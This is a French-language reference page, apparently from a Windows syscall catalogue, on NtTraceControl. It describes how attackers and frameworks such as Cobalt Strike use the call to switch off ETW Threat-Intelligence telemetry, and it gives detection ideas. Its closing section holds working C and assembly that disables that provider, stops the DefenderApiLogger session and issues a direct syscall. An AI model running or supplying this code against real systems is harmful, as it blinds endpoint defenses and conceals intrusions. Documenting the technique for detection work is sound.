NtTraceControl

Prototype

NTSTATUS NtTraceControl(
  ULONG  FunctionCode,
  PVOID  InBuffer,
  ULONG  InBufferLen,
  PVOID  OutBuffer,
  ULONG  OutBufferLen,
  PULONG ReturnLength
);

Arguments

IDs de syscalls par version de Windows

Stub du syscall

4C 8B D1                  mov r10, rcx
B8 D6 01 00 00            mov eax, 0x1D6
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03                     jne short +3
0F 05                     syscall
C3                        ret
CD 2E                     int 2Eh
C3                        ret

Notes non documentées

Toute la *surface de contrôle* ETW user-mode repose sur `NtTraceControl`. `StartTrace`, `StopTrace`, `ControlTraceW`, `QueryTrace`, `FlushTrace`, `EnableTraceEx2`, `EnumerateTraceGuidsEx` — tous emballent un `EVENT_TRACE_PROPERTIES` (ou un des ~30 paquets de contrôle internes) et dispatchent vers ce seul syscall, avec `FunctionCode` sélectionnant l'opération. Le gestionnaire noyau `EtwpControlTrace` valide contre `SeSystemProfilePrivilege` / `SeDebugPrivilege` pour les opérations sensibles et contre le descripteur de sécurité `EtwGuid` pour les contrôles au niveau provider. La fonction 7 (`EnableTraceProvider`) est celle qui active/désactive les providers dans une session existante — et celle qui intéresse les attaquants. Le SSN dérive à peu près à chaque release Windows, donc tout numéro codé en dur casse entre builds ; `0x1D6` sur Win11 24H2 / Server 2025.

Usage courant par les malwares

**La principale surface de bypass ETW.** Le patch ETW user-mode classique (écraser le premier octet d'`ntdll!EtwEventWrite` par `0xC3`) n'aveugle que le *processus courant*. Les défenseurs qui veulent une télémétrie à l'échelle du système — notamment le provider `Microsoft-Windows-Threat-Intelligence` utilisé par l'EDR — la collectent depuis une session système. Pour la faire taire, les attaquants se tournent vers `NtTraceControl` avec `FunctionCode=7` (`EtwpEnableTraceProvider`) et `EnableState=0` pour *désactiver* le provider dans la propre session de l'EDR, ou `FunctionCode=2` (`EtwpStopTrace`) pour démonter la session purement et simplement. **Cobalt Strike**, **Brute Ratel C4**, **Havoc**, **Nighthawk** et les outils open-source **SharpEtwBypass** / **TamperETW** embarquent tous des variantes de ceci. Les équivalents en mode noyau (rootkit Lazarus **FudModule**) y parviennent en mettant à zéro `EtwThreatIntProvRegHandle` directement — une primitive différente qui contourne entièrement `NtTraceControl` mais produit le même blackout. Désactiver une session exige aussi que le processus appelant possède la session ou détienne `SeSystemProfilePrivilege` / un niveau de confiance TrustedInstaller, raison pour laquelle la plupart des chaînes pivotent d'abord par un payload en contexte SYSTEM.

Opportunités de détection

Les AV à base de hook ne peuvent pas voir ceci — par définition l'attaquant désactive la télémétrie. La détection côté noyau consiste à *ne pas dépendre de la session vivante* : enregistrer un second consommateur ETW Threat-Intelligence redondant depuis un driver noyau (les drivers EDR PPL le font), ou utiliser le provider `Microsoft-Windows-Kernel-EventTracing`, qui logge des évènements administratifs (4 = SessionStop, 12 = TraceConfigChange) vers lui-même. Surveillez tout processus non signé Microsoft invoquant `ControlTraceW` contre des noms de session EDR bien connus (`DefenderApiLogger`, `EventLog-Security`, `MS_Mon_*`, spécifiques au vendeur). Sur Server 2022+ le capteur Windows Defender for Endpoint logge directement la manipulation de session ETW comme une alerte. Au niveau noyau, `EtwThreatIntProvRegHandle == NULL` alors que le système est censé tourner avec le logging TI activé est le smoking gun pour la variante BYOVD.

Exemples de syscalls directs

// Disable Microsoft-Windows-Threat-Intelligence (GUID {f4e1897c-bb5d-5668-f1d8-040f4d8dd344})
// inside an existing logger session. Requires SeSystemProfilePrivilege or session ownership.
#include <windows.h>
#include <evntrace.h>

static const GUID kThreatIntel =
    { 0xf4e1897c, 0xbb5d, 0x5668, { 0xf1,0xd8,0x04,0x0f,0x4d,0x8d,0xd3,0x44 } };

void disable_ti_in_session(TRACEHANDLE hSession) {
    ENABLE_TRACE_PARAMETERS p = { 0 };
    p.Version = ENABLE_TRACE_PARAMETERS_VERSION_2;
    EnableTraceEx2(
        hSession,
        &kThreatIntel,
        EVENT_CONTROL_CODE_DISABLE_PROVIDER, // -> NtTraceControl FunctionCode=7, EnableState=0
        TRACE_LEVEL_NONE,
        0, 0, 0, &p);
}

// Tears the whole session down — EtwpStopTrace via NtTraceControl FunctionCode=2.
BYTE buf[sizeof(EVENT_TRACE_PROPERTIES) + 1024] = { 0 };
EVENT_TRACE_PROPERTIES* props = (EVENT_TRACE_PROPERTIES*)buf;
props->Wnode.BufferSize = sizeof(buf);
props->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);

ULONG st = ControlTraceW(
    0,
    L"DefenderApiLogger",     // typical Microsoft Defender ETW session
    props,
    EVENT_TRACE_CONTROL_STOP);

; The SSN drifts per build — resolve dynamically with Halo's Gate for portability.
NtTraceControl PROC
    mov  r10, rcx
    mov  eax, 1D6h
    syscall
    ret
NtTraceControl ENDP

Mappings MITRE ATT&CK

• T1562.006Impair Defenses: Indicator Blockingmitre ↗
• T1562Impair Defensesmitre ↗
• T1106Native APImitre ↗